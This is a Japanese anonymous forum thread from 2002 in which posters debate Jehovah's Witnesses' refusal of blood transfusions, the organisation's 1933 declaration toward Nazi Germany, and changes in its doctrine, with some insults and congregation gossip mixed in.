>>425 >子供の意志に反することを強要するなら、それは虐待です。
私は子供の頃、JW信者になることしか道はありませんでしたが何か?
>>437 輸血をしないデメリットとは死ぬ危険があるということですか?であれば、それは誰しも理解している事です。人は命よりも大切なものをもっています。人間の尊厳、家族など・・・それが私たちの場合には神に対する信仰であるだけです。
わたしの親は強要しませんでしたよ。結果、弟二人はクリスチャンではありませんが、家族になんの問題もありません。あなたが強要されていたとしたら残念なことです。
439 :
名無しさん@1周年 :02/07/10 12:24
いえいえあくまでも法律的な話です。 人の自由意志は束縛してはなりませんし、神に逆らうことになります。神は自由意志を人間に与え、ご自身もそれに介入されなかったからです。 親が一人の人間である子供を支配することは、神すらも越えた考え方であり、傲慢です。それは神に対する冒涜になるでしょう。 神に対する献身を口にしておきながら、実は神を冒涜してることになるのです。 現に聖書では、私のもっとも小さきものに対してしたのは、私に対してしたのである、と述べられています。
>>434 >法律に基づく判断が必要です。
裁判の結果ですが、カナダの裁判なので、
日本の裁判事情とは違うと思いますが、
1回目、家庭裁判所で、ものみの塔の敗訴
2回目、高等裁判所で、ものみの塔の敗訴
3回目、上訴審裁判所で、ものみの塔の敗訴
4回目、最高裁が判断の保留、
実質的には上告したものみの塔の主張が
受け入れられていないので、ものみの塔の敗訴
結果として、調停がおこなわれ少女に輸血を
含む治療が行われた。
まあ、裁判を起こすのは、構わないが、
(訴えられた人は、大変だろうから、構わないと言い切れませんが。)
このような裁判で揉める度に、世間からの風当たりは強くなりますね。
JWにしてみれば輸血を拒否する事は正しいのだろうけど、
家々に伝道している時に、
「私たちは、輸血を拒否する事で有名なエホバの証人です。」と言ってみたら。
訪問先の人間が、どのように思うか想像がつきますね。
世間常識とJWの常識がかけ離れていますので、
JW信者は自らを正当化できても、新たな信者を獲得するのは大変そうですね。
441 :
名無しさん@1周年 :02/07/10 12:51
新世界訳 日本語訳が変ですけど、
442 :
名無しさん@1周年 :02/07/10 13:12
金取らないんだから いいじゃんいいじゃん プップクプ−
443 :
名無しさん@1周年 :02/07/10 13:14
2500円はらいましたよ
>>442 >金取らないんだから
>いいじゃんいいじゃん
まあ、これは聖書代の事をいってるのだろうけど、
私はJW組織に随分と寄付しましたよ。(たかがしれているけど。)
信者がお金を寄付しなくても良いです。とか、文句を言われません。とか
書き込むことがあるけど、おかしいなあ。
そうかもしれないけど、おかしいなあ。
寄付をしたことのある私が、寄付をしたことがない信者に文句を言われているのかえ。
あの寄付したお金はいったいなんだったんだろ?
まあ、善意で寄付をしたのだから、返してくれとは言わないけど、
なんか、おかしくないかえ?
カナダの裁判の情報を教えてくださりありがとうございます。HLCの委員の方に聞いた所、その通りとの事でした。 確かにわたしたちの価値基準すべてが一般的に受け入れるわけではないと思っております。輸血拒否や兵役拒否はその最たる例です。 しかし、良い面で基準が異なる点もあります。高い道徳基準を持っていることで知られていることです。(中にはその基準を守れないために排斥される人もいますが)
448 :
名無しさん@1周年 :02/07/10 18:27
>寄付をしたことのある 偉いお方ですな。尊敬します
>>438 みちのりさん
> 輸血をしないデメリットとは死ぬ危険があるということですか?
それもあるけど、ちょっと違いますね。
無輸血手術での死亡率と輸血後感染症が原因での死亡する確率を比較する判断力を
持ってる人があまりにも少ない、ということです。
>であれば、それは誰しも理解している事です。人は命よりも大切なものをもっています。
>人間の尊厳、家族など・・・それが私たちの場合には神に対する信仰であるだけです。
聖書に「輸血をしたらいけない」という文章はどこにもないですよね?
(注:食べてはいけない、とは書かれてますが。)
2000/6/15 ものみの塔誌には
「聖書は細かなことを述べていないので,クリスチャンは神のみ前で自分の良心に従っ
て決定しなければなりません。 」と書かれてますが輸血に関してはどうしてこの見方が
できないのでしょうか?
> わたしの親は強要しませんでしたよ。結果、弟二人はクリスチャンではありませんが、
>家族になんの問題もありません。あなたが強要されていたとしたら残念なことです。
「残念なことです」で終わらされてもなぁ(苦笑)
もっともあなたの親御さんが正しいとは思いますけどね。
>>446 みちのりさん
HLCの人と知り合いなんですね。時間がおありでしたら私の代わりに聞いてもらえない
でしょうか? というのはこういうことです。
『JWは分画は使用できるので、グロブリン、アルブミン、凝固因子といった血漿分画は
使用しますけど、それら使っても良い分画に水分を加えた途端、使用してはいけない
「血漿」という成分になってしまいますが、これはいったいどういうことですか?』
輸血に関してはJWは早く「個人の良心の問題」とすべきだと考えます。
なぜならばその主張は医学的な根拠が希薄、かつ矛盾だらけだからです。
輸血を拒否するのなら、あくまで信仰のみを主張すべきではないでしょうか?
よかったらPCからうちのHPを見てもらえるといいのですが・・・。
http://www.geocities.co.jp/HeartLand-Yurinoki/4549/
451 :
名無しさん@1周年 :02/07/10 22:33
>>450 あなたのHPに輸血後GVHDについて重大な点が欠落していたのでご報告しておきます
発症した場合、ほぼ100パーセント死亡するという記述を追加してください
>>451 ほぼ100%死亡するという情報のソースをよろしければ教えていただけますか?
輸血後GVHDのリンク先はごらん頂けましたか?
助かった症例というのも報告されてるようなので「発症した場合ほぼ100%死亡する」とは
記述できないです。
私が調べた限りでは、100%ということはないようなのですが。
90%、もしくは95%という記述をしているところが多いです。
いずれにせよ、かなりの高率であることは間違いなさそうです。
ご指摘ありがとうございました。
wildcatさんへ ご存知だと思いますが、エホバの証人は感染症が理由で輸血を拒否するわけではありません。そして生存率で言えば輸血の方が高い事は周知の事実です。 それと固定電話の回線はないのでホムペは見れないのです。 聖書には‘血を避けるように’との指示ははっきり書かれており、その背景には血を神聖なものとみなす考え方があります。よって、いかなる方法でも体内に血を取り入れる事は避けるべき事だと思います。
wildcatさんへ☆追伸☆ 分画製剤と血漿との関係についてはHLCの方に聞いてみます。個人的には、それらはすべて良心で決定すべきものだと思いますが、医療上の知識を持っている人は少ないという事を考えると、組織から統一見解を示さなければならない必要もあると思います。 あと‘残念です…’は失言でした。ごめんなさい。わたしは、あなたの抱えている気持ちを少しは理解しているつもりです。
455 :
名無しさん@1周年 :02/07/10 23:45
だからさあ、 エホ症は輸血が危険だからしない訳じゃないだろ? 聖書に書いてあるからしないんだろ? だったら危険かどうかなんて関係無いだろ。 何でいつも輸血の危険性を喧伝するんだ? 安全だったら輸血するのか? 違うだろ? だからエホ症は論理的思考力が無いって言われるんだよ。
456 :
名無しさん@1周年 :02/07/10 23:54
>>452 >90%、もしくは95%という記述をしているところが多いです。
その多いというソースを教えてください。
エホバの証人の兵役拒否とは
1933年、ベルリン、ウィルマースドルフ体育館でナチス・ドイツ、ヒトラーに
協力する大会宣言をしたことですか。
1978年、メキシコで行われたように、官吏をわいろで買収することにより
徴兵を逃れる事ですか。
ナチス・ヒトラーと「ものみの塔協会」との協調関係
http://www.jwic.com/hitler.htm レイモンド・フランズ − エホバの証人最高指導者の人生の軌跡とその信仰
http://www.jwic.com/franzbio.htm たしかに、エホバの証人の価値基準は一般的に受け入れられないと思いますね。
あ、輸血関連の話もしようと思いましたが、すでにwildcatさんが話をしていますので
私もダブって聞くこともないので、いいですかね。
そういえば、「HLC」って何ですか? 部署ですか? 私、内輪話的なとこ、分からないのだけど。。。 つまらない事だけど、携帯でネット接続をしてる人っているんだ。 高くつきそうですね。 ADSLの方が良いよ。。。 月に3000円ぐらいで済むから。 ネットサーフィンするだけなら、640kbpsの契約で十分だよ。 いやね、親切で言ってるだけだから、気にしないでね。。。
ヒトラーとの関係についですが、1933年の宣言は上位の権威に対し相対的に服従する事が関係しており、神のご意志に反しない限り政府にふさわしい誉れを配する考えを示したものです。 また、当時はまだ、今日知られているようなヒトラー残虐さは表面に出ていなかったという事も明記しておきます。
HLCとは輸血等の問題に対応する‘医療機関連絡委員会’の事で都道府県単位で作られています。
できればPCでしたいのですが、何しろ固定電話がないので…しばらくは携帯でがんばります。ありがとう。
462 :
名無しさん@1周年 :02/07/11 08:12
>固定電話がない 貧乏なのかしら
464 :
名無しさん@1周年 :02/07/11 09:07
兵役拒否はただ単に腰ぬけなだけ
465 :
名無しさん@1周年 :02/07/11 09:14
儂はのう、今年で八十じゃが、戦時中は兵役拒否した者、不敬罪で捕まった者を見たがのう、みんな死刑になってのう。なんぎじゃな。
>>464 なに腰抜けって?
兵役拒否する方が勇気いるだろ。
467 :
名無しさん@1周年 :02/07/11 09:31
>>463 うち貧乏だから援助してくらはい
>>464 殺すいわれのない知らない人を殺す戦争に加担するより自分が死ぬ方を選ぶ
腰抜けとは違うよ
戦地でガタガタ震えてなにもできない人 これは腰抜けじゃない 正常な精神をもっているんです
戦争が異常なだけです
>>459 >1933年の宣言は上位の権威に対し相対的に服従する事が関係しており、
エホバの証人の上位の権威とは、ナチス・ドイツだけですか。
アメリカ、イギリスは上位の権威に含まれないのですか。
>今日知られているようなヒトラー残虐さは表面に出ていなかった
JW発行の冊子には、エホバの証人は初めからナチ国家に反対してた。
とありますが、ヒトラー残虐が表面に出てから反対してた。の間違いですか。
どの程度、ヒトラーの残虐さが表面に出た時点から反対しましたか。
また、この宣言ではエホバの証人はユダヤ人たちを、どのように言っていますか。
>>468 あー。こんなところに『ああ言えば上祐』がいたー!
boy'sさんへ 上位の権威にはすべての国家政府が含まれます。 エホバの証人はナチスには当初より反対していました。しかし、1933年頃から、ヒトラーによる、国家主義を退け兵役を拒否するエホバ証人への弾圧が顕著になりました。 よって、エホバの証人が政府の上位の権威に相対的に従うがゆえに脅威ではない事を宣言する必要があったのです。 1934年10月にも各会衆が同様の手紙を政府に送っています。(これはヒトラーの激怒をかった。)
ユダヤ人に関する部分に関しては、1932年まで古代イスラエルの回復の予言が生来のユダヤ人に当てはまると考えていました。しかしその年にその見解が間違いである事がはっきり説明されました。 ヒトラーはユダヤ人を神の民として養護するエホバの証人の見解を自分の政策に反対するものと捉えていました。 そのため、エホバの証人がそのためもはやそうした見方をしていない事をドイツ政府に説明する目的があったものと思われます。 しかし、その宣言の表現には誤解を生じさせる不適切なものもったのも事実です。
472 :
名無しさん@1周年 :02/07/11 11:06
ねえねえ道程さん。エホバの証人はヒトラー政権のことを特 別扱いしてませんよね? 上位の権威として「一目置く」かたわら、反聖書的な命令に対 しては服従しない。 同じ態度を他の国でも表していたんですよね。
上位の権威に対する見方は、すべての政府に当てはまります。もちろん、エホバの証人の持つ権利を認める上位の権威の働きには感謝の念を表します。 しかしそれでも、相対的な権威に対して神の権威は絶対的なものと言え、いかなる場合であれ聖書の原則に従います。
474 :
名無しさん@1周年 :02/07/11 12:35
もっと語れ
boy'sチョト劣勢カ
>>470 エホバの証人が「上位の権威=国、政府、権力」と考え始めたのは
1962年頃以降のようですけど。
1929年頃は「上位の権威=エホバ神、イエス・キリスト」ですね。
>>471 >ユダヤ人に関する部分に関しては、
>1932年まで古代イスラエルの回復の予言が
>生来のユダヤ人に当てはまると考えていました。
いまひとつ、言われていることが分からないのですが
黄金時代1927年2月23日343頁を読むと
ユダヤ人は自己中心的な人々と読めますが
そのように言いたいのですか?
エホバの証人の教義 第二部 教義の歴史的解説
http://www.jwic.com/doctrin2.htm#14 話がそれてしまいますが、
JWに苦情を言うのに何が大変かと言うと、
教義が変わるので、すべての教義を覚えられない事ですね。
「こうでしょ!」って言っても
「今は、違います。」って言われるのでは、大変ッス!
>boy'sチョト劣勢カ いいの!寝不足で調子悪いの! メンドくさくなったし!
478 :
>がんばれ476 :02/07/11 14:17
> 教義が変わるので、すべての教義を覚えられない事ですね。 > 「こうでしょ!」って言っても > 「今は、違います。」って言われるのでは、大変ッス! 日々あらた、改善に継ぐ改善。 boysさんみたくいろいろと突っ込んでくれる人がいるから その功績で少しずつNY本部も進歩しているんでしょう。
もうだめぽ・・・エホ症
480 :
名無しさん@1周年 :02/07/11 14:38
う〜ん。教義が変わるのは如何なものかと・・・。 新世界訳を見ると、聖書全巻は神の霊感を受けた有益な書物ですと書かれており、廃れることはないとなっておりますが、組織が霊感を受けているのなら同じように考えることができます。 ということは、組織が神の霊感を受けてないということの証明になっていますよ。つまり、組織は人間の教理を教えているのです。 このような活動は単に聖書の研究として行なうならかまいませんが、そこに神の霊感の権威を持ってくると矛盾を露呈することになりますよ。
>>475 わたしたちは勝ち負けのある討論をしてるわけではありません。史実が何であるかを話し合っているのですよ。
boy'sさんへ
エホバの証人は当初、上位の権威=一般的な世の持つ権威と考えていました。しかし、第一次世界対戦後、そうした戦争犯罪を犯し迫害を加える政府が、果たして上位の権威権威と言えるのだろうかと疑念が生じたようです。
そのため上位の権威=神の権威であるという見解が現れました。それが大方の見方になったのは、第二次世界対戦が始まってからのようです。
ユダヤ人に関する部分は何かかみ合わないですね(^_^;)以前のエホバの証人は(自己中心的な)ユダヤ人が悔い改めて故国に再び集まると考えていましたが、その理解は間違っていたという事が1930年代に分かったという事です。
教義に関してエホバの証人に‘苦情’を言うのは少し間違っているのではと思うのですが…あなたが過去の教義によって今何らかの不利益を被っているなら分かりますが、そうでなければ単に議論し相手を打ち負かす事を意図しておられるように感じるからです。 勘違いだったらごめんなさいね。
483 :
名無しさん@1周年 :02/07/11 14:54
わたしはboy'sさんではなく、愛ある親切の疑問を書き、法律的な質問に答えた者で、いまは研究生です。 ここではわたしの感じたことを素直に述べています。わたしはどちらが正しいとかは判断しません。それはわたしの料簡を越えているからです。
人違いをしていたようです・・・すみません。
485 :
名無しさん@1周年 :02/07/11 15:14
いえいえ。別に構いませんよ。 わたしも史実は史実であって、それ以上でもそれ以下でもないことは知っています。ですから、それについてどうこういうこともしません。
>>480 わたしはすべてにおいて霊による導きがあるとは考えていません。そうだとしたら、神の言葉を学ぶ人は全く努力を払わなくてもよい事になるからです。
神は人間の持つ自由意志を尊重しておられます。ですから神の言葉を研究する課程において、不完全な人間の影響が加味される事もあるでしょう。人間が不完全である限り、聖書の理解がすべて得られる事はないのです。
よって、細かい枝葉の部分ではなく、基本的な教義が道理にかなったことかを通して、真の宗教を見極めなければなりません。
487 :
名無しさん@1周年 :02/07/11 15:19
わたしもそう思います。
>>485 できたらネームを考えていただければと思います。名なしさんでは誰だか分からないので。
489 :
名無しさん@1周年 :02/07/11 15:27
そうですね。何かありませんかね?ん・・・と・・・いま。いまにします。みちのりさんよろしく!
こちらこそです。いまさんよろしく。
491 :
名無しさん@1周年 :02/07/11 16:57
アラシ君現れませんね。みちのりチンやるじゃん セイ実に答えればでないようよ
>みちのりさん まず、「苦情」は言い方は拙かったですね。 「討論」に訂正します。 べつに相手をうち負かす為に討論はしていないつもりですけど どちらが勝っても負けても、 そのことか理由でJWの体質や行動などに変化は無いだろうと思いますから。 ナチス・ドイツの話の続き。 エホバの証人さんは、度々「ナチス・ドイツに迫害をされた。」と言いますが 「迫害された。」と言えば道理が引っ込むと思っていませんか。 確かに、JWさんは収容所に捕らわれてた様ですが、 捕らわれていたには、JWさんだけではないですよね。 あたかも戦争に反対をしていたのが、JWだけみたいな言い方はおかしいですね。 JWさん以外の戦争反対者の存在は無視ですか。 しかも、JWさんは理由はともかく、ナチス・ドイツに協調するらしき 大会宣言をしていますよね。 JWさんが、迫害を強調するするのは、おかしいと思いますが、いかがなものでしょうか。 それと、事実として教義の変化は有りますよね。 話をすると、「それは1985年頃までの考え方」とが「1995年に変わりました。」とか 言いますけど、「新しい光があたった。」とかの事情もあるでしょうが 教義の変更が度々と有るのでは、今の教義の信頼性も無くなると考えられませんか。 あ、wildcatさんの疑問は「HLC」に聞かれましたか?
boy'sさんへ JWの体質は改善されていきますよ。より道理にかなった仕方で信仰を吟味できるクリスチャンが組織の中で成長しているからです。わたしも微力ながら努力いたします。 ナチの時代に他に迫害を受けたグループや個々の人々がいたことは、多くのJWは知っています。知らない人は一般的な歴史の知識がないのでしょう。 逆に一般の方々でエホバの証人が迫害を受けていたことを知らない人は大勢います。ですから私たちはそうした点を時々出版物の中などで指摘します。 宣言に関して、あなたも‘協調するらしき’と表現されているように、人によって様々なとらえ方ができます。その宣言は政府にとってエホバの証人のグループが脅威とはならない事を強調しているにすぎません。 教義の変化に関して…私たちエホバの証人は、自分達が霊感を受けた予言者であるとは考えていません。むしろ聖書を勤勉に研究する事によって、より正確な理解を得る努力をしたいと思っています。 科学や医学の研究と同じように、聖書の教義に関しても、それが完成されるまでには長い時間と誠実な努力が必要です。 wildcatさんのご質問に関しましては、明日の夜にお答えできると思います。
494 :
名無しさん@1周年 :02/07/11 21:10
【 最後のみ言葉 】 エホバの証人の小冊子「めざめよ!!!」
495 :
名無しさん@1周年 :02/07/11 22:57
>>493 さん
>JWの体質は改善されていきますよ。
>より道理にかなった仕方で信仰を吟味できるクリスチャンが組織の中で成長しているからです。
すみません、具体的に"どの様に"成長しているのですか?
496 :
名無しさん@1周年 :02/07/11 23:03
エホバの証人って絶対あーいえばこういうよね(w
かなり広い意味で言ってるので説明が難しいのですが、簡単に言えば、組織に対して盲目に従うのではなく、必要な改善点を認識しているクリスチャンが増えてきたということです。
かなり広い意味で言ってるので説明が難しいのですが、簡単に言えば、組織に対して盲目に従うのではなく、必要な改善点を認識しているクリスチャンが増えてきたということです。
499 :
名無しさん@1周年 :02/07/11 23:09
>みちのり まじで!?増えてんの?? 増えては減ってっていうのが事実では? 改善点わかったんなら辞めるのが普通でないの?
>みちのりさん すごいね、ほんとにケータイがら書きこんでるの? PCからでもけっこう面倒かったりするけど・・・。 長文レスお疲れ様です。 血漿の件は楽しみにしてますよ。 >boy’sさん 研究熱心なあなたの態度に頭が下がります。 教理的なことは自分はもう忘れてるので(苦笑)
>>499 体が病気である事に気づいたら治療するように、わたしは改善点に気づいたら、まずそれを治す事に努めたいと思います。あきらめたら、そこで終了ですよ。
wildcatさんへ
あなたの質問はわたしも関心があるので必ず聞いてお答いたします。
携帯で書き込むのはかなり大変です。パケ代も心配です…
502 :
名無しさん@1周年 :02/07/12 00:07
>みちのりさん 例えはいいんだよ、現実を見てくれよ。 俺の場合は直そうとしても、末期だったので無理でした(w あと、提案です。なぜに携帯?PHSと安いモバイル買いな。 そこからレスヨロ。 ちなみに上レスは読んでないのであしからず・・・
>501 >改善点に気づいたら、まずそれを治す事に努めたいと思います。 あの組織は、一般信者がどんなに治そうとしても治らないと思うな・・・ 完全に上下関係が成立してるから・・・
504 :
名無しさん@1周年 :02/07/12 00:33
>503と同意見!! by502
505 :
名無しさん@1周年 :02/07/12 00:35
正常な人もいるようだな 危地外集団かと思っていたが
506 :
名無しさん@1周年 :02/07/12 00:43
てか、つまんないので問題テーキ! 漏れが腐っているから、いっちまうよ? あえて、実名で腐った会衆と兄弟達を吊るしあげてみない? もちろん漏れも腐ってるさあ(開き直り 現役JW@奉仕の僕より
たいーほが怖いのかな? 大丈夫だって、 エホバの証人は2ちゃん訴えるようなバカなことしないてば
しょうがねな じゃあ、漏れから言うよ 有名な話過ぎてみんーなしってるだろうけど、 神奈川の今宿会衆って一時期相当腐ってたらしいよ わかばだい?っていう団地があるらしいんだけど、 そこの熱心な開拓者達が集団で離れてるって聞いてるね 今はどうだかシナラナイけどね オーストラリアいっちまって帰ってこないやついるらしいぜw これで現役JW@奉仕の僕って分かてもらえた?
上下関係ですか…まっ、巡回の強さにはまいった時もありましたが、幅広く交友関係を持つことが組織改善への成功の道です。何となく展望が開けてきましたので少し強きな発言をしていますが…世代交代が待たれます。
つまんなくしてるのは漏れか? 今週のものみの党研究漏れが朗読したんだけどさ、 笑いがこみ上げてきそうで抑えるのに大変だったよ。 「親切」って話だったんだんだけどさ、 逆説的に読み替えれば、 対JW同士だけでしか、真の親切は成立しないってことだよね。 じゃあ、世の人には親切にしなくていいのか? どうよ現役JW
>みちのり 巡回監督ねえ 前に来た時、漏れの会衆の主宰監督降ろされたね 本人は医療委員会が忙しいから、自分から降りたって 公言しまくってるけどね。すんげえ言い分けがましかったぜw 二世でそのまんま長老になったから、世間を知らないんだよね 女が腐ったようなヤツだしな。平気で人を落とし入れるような事平気でいうしね 最近の巡回監督はほんと有能な人がやってるってば でも、次の主宰監督のハゲじじいがIQ低すぎてやってられんよ。w やべえ、漏れの会衆ばれちゃうなw
‘愛ある親切’についての記事ですね。少し前に論議した話題ですが、どんな風に逆説的に見ても一般の方に親切を示さないと理解できる所はどこもありません。 この記事にもあったように、愛ある親切は何らかのつながりのある人に対して示されます。親族の中、職場の中、学校の中で表すことができるでしょう。 しかしまず、一番つながりの強い仲間の間で表す事ができなければ、他の人にこの特質を表すの難しいと思われます。すべてのJWがそうできていない事を考えると、この記事は時宜にかなったものであったと言えるでしょう。
ってかさ、うちの会衆のつるっぱげ主宰監督 超ドキュソ ほんと逝ってよし。 同じ群れなんだけどさ、書籍研究のとき簡単な漢字は間違えるわ、アドリブ質問も 完全に的外れだし。知性まるでなし。高卒だからしょうがないけどさ、漏れは泣きたいよ。
最近特権を降ろされる長老は多いですね。良く言えば自浄作用が働いているとも言えますが、日本の諸会衆は難しい状況におかれているのも事実です。 あなたが今でもなお、組織の中におられるのはなぜですか?
最近特権を降ろされる長老は多いですね。良く言えば自浄作用が働いているとも言えますが、日本の諸会衆は難しい状況におかれているのも事実です。 あなたが今でもなお、組織の中におられるのはなぜですか?
>どんな風に逆説的に見ても一般の方に親切を示さないと 理解できる所はどこもありません 分かってないなあ、考えてみ。親切には二通りあるって学んだだろう? つまりは、使い分けろってことなんだよ。 でも、君はなかなか良い事言うね>時期にかなった そう、エホバの証人も人間なんす 不完全なんす ちみの平衡の取れたものの見方は必要だ。 (実際、そうじゃなきゃやってられんよね・w) こうやって、 べテルに住む人間がやっともらえた休日をネットカフェで過ごしてる っていう事実も知っとくべきだよ で、兄弟は開拓者2年目位?ちがう?
ずいぶんと表現がキツイですね。でも、わたしも同じような群れにいたのでお気持ちは分かりますよ。確かに泣きたくなります。
開拓8年目です。 言語の違いがあるので簡単に説明できませんが、ヘブライ語には感情に関する表現が日本語よりも多くあります(変化形等も含めれば)使い分けるというよりも、親切を示す対象によって、用いられた単語が違っていただけなのです。
>みちのり兄弟 なぜ組織にいるって? そりゃ組織が必ず変わると信じているからさ。 ご承知の通り、組織は端境期に立たせてるね 統治体を筆頭に日本支部も様変わりするよ(おっとそこまでw まあ、開拓8年目ならさ、べテル志願してみたら? 組織全体がいろいろ見えてくるからさっ。 >ヘブライ語 そう、よく勉強してるじゃん。(関心関心 親切への対象が違うんだな。付け加えると、ヘブ語の 微妙な違いによって「親切」の対象と共に、モチベーションが違うんだ。 言い換えれば、証人同士と世の人への親切は区別するってことなんだよね。
>みちのり兄弟 なぜあなたは2ちゃんで遊んでるの?
>みちのち兄弟 で、組織の改革について言うと、 漏れの考えはもっと世に開かれた組織として 社会貢献できる組織に変革すべきだと思うね っていうのはさ、 既知のとおり、かつて組織はナチズムに 政治的に対抗したよね? これは注目すべき点でさ、 政治的にどんどん関与すべきだと思うわけ。 実際、べテルでも東大・京大卒の兄弟を集めて 弁護士を養成しているってのは知ってるかな? これって単に、輸血訴訟の為だとは俺は思わないな。 これから、組織は日本社会に認められるように どんどんドラスティックな展開をしていくと思うよ。 社会認知されるには、なにが必要だと思う?
522 :
名無しさん@1周年 :02/07/12 03:39
ケケケケ ボクは一人で聖書ヲ学んでるよ 学んだことは実社会で実践しないと聖書そ知った事にならないときめてるんだ んで、きょうはホ-ムレスの木田さんの職探しに逝くひなんだよ。 たぶん就職が決まる思うけど、 ケケケケ
523 :
名無しさん@1周年 :02/07/12 04:11
>社会認知されるには、なにが必要だと思う? 気味悪さなくしてくれ 王国会館の隣に住んでるけど、何とかならんですか
524 :
組織はナチズムに政治的に対抗? :02/07/12 04:19
エホバの証人年鑑1933年の127ページ この地球の最大の、そして最も圧制的な帝国は英米帝国です。 これはイギリス帝国とその一部であるアメリカ帝国とをさしています。 この英米帝国の中で大事業を築き上げて遂行し、多くの国の人民を抑圧し利用してきたのが商業にたずさわるユダヤ人達です。。。。。 現在のドイツ政府(ナチス政権)は抑圧的な大事業家に対して断固として反対を宣言するとともに、宗教が国家政治に悪影響を与えることにも反対してきました。 この立場はまさに私達の立場と一致するものであります。 私達はさらに進んでその出版物を通じて、抑圧的な大事業家と宗教の政治的悪影響の存在する理由を述べています。
525 :
名無しさん@1周年 :02/07/12 04:27
地上最後の楽園」に住みませんか?
526 :
組織はナチズムに政治的に対抗? :02/07/12 04:34
527 :
組織はナチズムに政治的に対抗? :02/07/12 04:44
528 :
名無しさん@1周年 :02/07/12 04:53
東大・京大等の国立大での商人は税金ドロボウです、お金を国に返しなさい。
529 :
名無しさん@1周年 :02/07/12 04:57
個人がヒットラーと戦っただけ、おちこぼれも出た。組織は迎合した。
530 :
名無しさん@1周年 :02/07/12 05:18
ドイツ支部が直接ヒトラーに送った手紙要約 1.エホバの証人に対する弾圧はカトリックから来たものである。 2.現在の政府のエホバの証人に対する弾圧はその出版物を誤解していることによる。 3.添付されている私達の大会宣言を読まれれば総統閣下(ヒトラー)は私達の理想と閣下の理想とが一致していることが明白にわかるはずである。 4.エホバの証人は伝統的にドイツに友好的であった。私達の雑誌「ものみの塔」と「聖書研究」はアメリカにおいて反ドイツ宣伝活動に参加しなかった理由で発禁になり、 7人の役員は1918年に投獄されたのである。 私達のこの反ドイツ宣伝活動に対する反対の立場が、私達がアメリカのカトリックとユダヤ人の反感をかっている理由である。 5.大会に集まった5000人(手紙の数字による)のエホバの証人は全てドイツ政府の崇高な理想を支持しそのために戦うことを確認した。 6.私達の出版物の中に政府に非協力的な面があるとすれば、それはドイツ国家に不当な圧力をかけている英米帝国の指導者を想定したものである。 7.私達は閣下がキリスト教界の関係者の関与しない特別委員会を召集して私達の理想を公平な目で検討していただくことを希望する。そうすれば私達の活動がナチス綱領の第24条で活動が許されている宗教団体にあてはまることがわかるであろう。
ふふ ひっかかったなハイキョウシャドモ!(w コピペお疲れ様♪ あんたらの書いてることは事実だよ。 でもね、歴史的ターニングポインツがあったのも事実なのねん。 協会もナチに対する対応を180度転換したわけさ。 ま、その辺はせいぜい大会か公開公演に行って、誰か捕まえて聞いてみ? 証人なら、誰しもが知ってることだから。 で、「パープル・トライアンル」っていうビデオが3年前位に出てるからゲット ゲットできるといいね。 で、「ナチに対抗した唯一の団体」として多くの歴史学者が賞賛したのは かなーり昔のことなのね。 高島屋とかで、資料展やってたも3年くらいまえかな。 ハイキョウシャって最新の情報が得られなくて辛いんだね(ぷ
>>522 素晴らしい!あなたは真の人間愛を持ってる人だね。
(まあ、ネタなのは分かってあえてレスしてるんだけどね)
組織内だけでクリスチャン愛を確かめ合っているのは、
単なるマスターべション。そろそろ協会も社会貢献する方向性に
行かなきゃね。その方法論が分からないことを理由にするのはもうやめて
もらいたいかな。漏れとしては。
>>523 引っ越せば?
(ネタにレス)
>>528 そういう前に、ちみの出たアポーン私大の学費を親御さんに返しなさいって
どうせ、就職できずに税金払ってないんだから。
それとも高卒? ま、それはそれで生きる道をさがしなさいてば。
534 :
名無しさん@1周年 :02/07/12 06:46
506 スッゲエ アナタハかみデスカ
535 :
名無しさん@1周年 :02/07/12 06:49
>506 コラコラ、あんまりいじめたらダメだYO。 >535みてごらんよ。返す言葉ナイって言ってるYO(w
537 :
名無しさん@1周年 :02/07/12 09:43
>ハイキョウシャって最新の情報が得られなくて辛いんだね ↑ そりゃあ 霊的基金状態ずっと続いてるもん
538 :
名無しさん@1周年 :02/07/12 09:43
(´-`).。oO(ネタ切れかよ?) ヒトラーのことなんて関係ないじゃん。
>>531 ,537
あなた方にとっては、国連NPOこそーり加盟ばれたので脱退問題とか、
児童性的虐待事件組織ぐるみ隠蔽問題とかは、
忘却の彼方にいった遠い過去の問題なのでしょうね。
念のため、これらは3年以内に明るみに出た問題です。
540 :
名無しさん@1周年 :02/07/12 10:57
いくら足掻いても、偽りの組織の烙印は消えないよ・・・・エホバの証人さん。
541 :
名無しさん@1周年 :02/07/12 11:09
町へ出て愛なるものを行ってほしいもんだ。 口先だけの宗教め
542 :
名無しさん@1周年 :02/07/12 11:26
> 愛なるもの 行なっている。 あなたの脳内の「愛なるもの」ではなく、彼らの だが。
仲間と組織への愛で精一杯のエホ証。 ほかは隣人ではないという教え。
544 :
名無しさん@1周年 :02/07/12 13:54
みちのり兄弟が自分の考えを言っているうちは平安だったが 組織の代弁を始めたとたんにいつもの展開の予感が・・・
545 :
名無しさん@1周年 :02/07/12 13:57
>>539 >これらは3年以内に明るみに出た問題です。
ごめんなさい勉強不足で 日本の報道で出たのかな?
信頼できる日本の情報元を教えてください
ああ、
>>545 はソースの信頼性を言ってるのかな。
国連関係は、ものみの塔が国連を非難してる一方で、
国連に加盟してた事なんだけど。
(プラス、見苦しいJW組織の言い訳。)
それを考えるとソースはJW発行の冊子と国連の書類かな。
児童性的虐待事件関係は、内部告発ですね。
信頼できる情報にならないかな。
ナチとJWの関係も当時のJW発行の冊子だけど。
冊子に書いてあって、本当の意味は違います。は無いと思うけどなあ。
国連問題って、そんなに興味が無いけど、
あまりにも一貫性の無い行動を、ものみの塔がしていると
ものみの塔の信頼性が無くなると思うな。
だってね。今後また、ものみの塔がハルマゲドンの予測をしても
それを聞いて「ああ、そうですか。」としか反応でき無いからね。
少なくとも「これは困った。」とかは考えられ無いですね。
547 :
名無しさん@1周年 :02/07/12 20:36
wildcatさんへ 分画製剤について聞いてきましたよ。 本来それらの製剤は液状(用途によってゼリー状もあり)であり、医学上の理由からそれらを複合して用いる事はないそうです。仮にそれらを水溶液にして用いても個々の良心の問題だそうです。 今ではほとんどの分画製剤は遺伝組み替えによるもので、それらの使用には問題ありません。人工赤血球も開発中であり(キリンと森永が開発中)、それらが開発されれば輸血の問題はなくなるでしょう。
549 :
名無しさん@1周年 :02/07/12 21:25
開拓おばちゃんの話を聞いていて "楽園に行ける" "楽園がある" と思っている事実で、十分危地外集団だとおもったが。 後楽園のこといってるのか なら、水道橋逝け
550 :
名無しさん@1周年 :02/07/12 21:28
>後楽園のこといってるのか そのとおり 後に楽園が来るから
551 :
名無しさん@1周年 :02/07/12 22:04
キリンの血は輸血してもいいのか
>>548 お答えありがとうございます。がしかし、返事にはなってないように思います。
